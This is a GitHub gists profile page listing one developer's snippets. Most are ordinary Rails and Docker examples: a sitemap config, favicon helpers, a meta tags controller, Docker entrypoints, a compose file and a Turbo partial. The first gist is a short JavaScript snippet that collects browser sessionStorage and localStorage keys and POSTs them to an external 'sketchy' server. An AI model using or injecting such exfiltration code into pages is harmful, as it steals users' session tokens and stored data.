Skip to content

Instantly share code, notes, and snippets.

Avatar
🤖
Building products

Shashike Jayatunge donrestarone

🤖
Building products
View GitHub Profile
@donrestarone
donrestarone / local-storage-and-session-storage.js
Created Oct 14, 2021
find local storage and session storage data and send to a remote server
View local-storage-and-session-storage.js
storedItems = [Object.keys(sessionStorage), Object.keys(localStorage)].flat().map((k) => {
return {
key: k, value: sessionStorage.getItem(k)
}
})
let xhr = new XMLHttpRequest();
xhr.open("POST", 'https://sketchymcsketchserver.com', true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onreadystatechange = function() {
if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {
@donrestarone
donrestarone / sitemap.rb
Created Feb 3, 2021
a simple example of sitemap_generator in a rails application
View sitemap.rb
SitemapGenerator::Sitemap.default_host = "https://your-domain.com"
SitemapGenerator::Sitemap.create do
add blog_index_path
add new_visitor_inquiry_path
add services_path
add about_index_path
end
@donrestarone
donrestarone / dynamic-favicons.html.erb
Last active Feb 3, 2021
dynamically render favicons for a variety of sizes
View dynamic-favicons.html.erb
<%= favicon_link_tag asset_path('your logo path') %>
<% %w(32 128 76 120 152 167 180 192 196).each do |size| %>
<%= favicon_link_tag "/icons/your-logo.png", rel: 'apple-touch-icon', type: 'image/png', sizes: "#{size}x#{size}" %>
<% end %>
<% %w(16 32).each do |size| %>
<%= favicon_link_tag "/icons/your-logo.png", rel: 'icon', type: 'image/png', sizes: "#{size}x#{size}" %>
<% end %>
@donrestarone
donrestarone / meta_tags_controller.rb
Created Feb 3, 2021
a simple rails controller that implements meta tags
View meta_tags_controller.rb
class HomeController < ApplicationController
def index
@page_title = "Your Page Title Here"
@page_description = "Your Page Description Here"
@page_keywords = "comma, separated, keywords, here"
set_meta_tags(
og: {
image: 'your::aws::s3:image_path',
title: @page_title,
description: @page_description
@donrestarone
donrestarone / test-docker-entrypoint.sh
Created Dec 27, 2020
docker-entrypoint for test rails
View test-docker-entrypoint.sh
#!/bin/sh
set -e
echo "Environment: $RAILS_ENV"
# Check if we need to install new gems
bundle check || bundle install --jobs 20 --retry 5
# Then run any passed command
@donrestarone
donrestarone / dev-docker-entrypoint.sh
Created Dec 27, 2020
docker-entrypoint for rails in development mode
View dev-docker-entrypoint.sh
#!/bin/sh
set -e
echo "Environment: $RAILS_ENV"
# install missing gems
bundle check || bundle install --jobs 20 --retry 5
# Remove pre-existing puma/passenger server.pid
@donrestarone
donrestarone / docker-compose.yml
Last active Apr 22, 2021
simple docker-compose file for dockerizing the restarone website
View docker-compose.yml
version: '3'
networks:
development:
test:
volumes:
db_data:
gem_cache:
shared_data:
services:
restarone_redis:
@donrestarone
donrestarone / Dockerfile.dev
Created Dec 27, 2020
simple dockerfile for setting up the dependencies for a rails application
View Dockerfile.dev
FROM ruby:2.6.6-alpine
ENV APP_PATH /var/app
ENV BUNDLE_VERSION 2.1.4
ENV BUNDLE_PATH /usr/local/bundle/gems
ENV TMP_PATH /tmp/
ENV RAILS_LOG_TO_STDOUT true
ENV RAILS_PORT 3000
# copy entrypoint scripts and grant execution permissions
@donrestarone
donrestarone / _tweet.html.erb
Created Dec 25, 2020
turbo frame partial rails 6
View _tweet.html.erb
<%= turbo_frame_tag dom_id(tweet) do %>
<div class="card m-4">
<div class="card-body">
<%= tweet.content %>
</div>
<div class="card-footer bg-transparent border-success">
<%= link_to 'Show', tweet, class: 'btn btn-sm btn-primary text-white' %>
<%= link_to 'Edit', edit_tweet_path(tweet), class: 'btn btn-sm btn-warning text-white', remote: true %>
<%= link_to 'Destroy', tweet, method: :delete, data: { confirm: 'Are you sure?' }, class: 'btn btn-sm btn-danger text-white' %>
</div>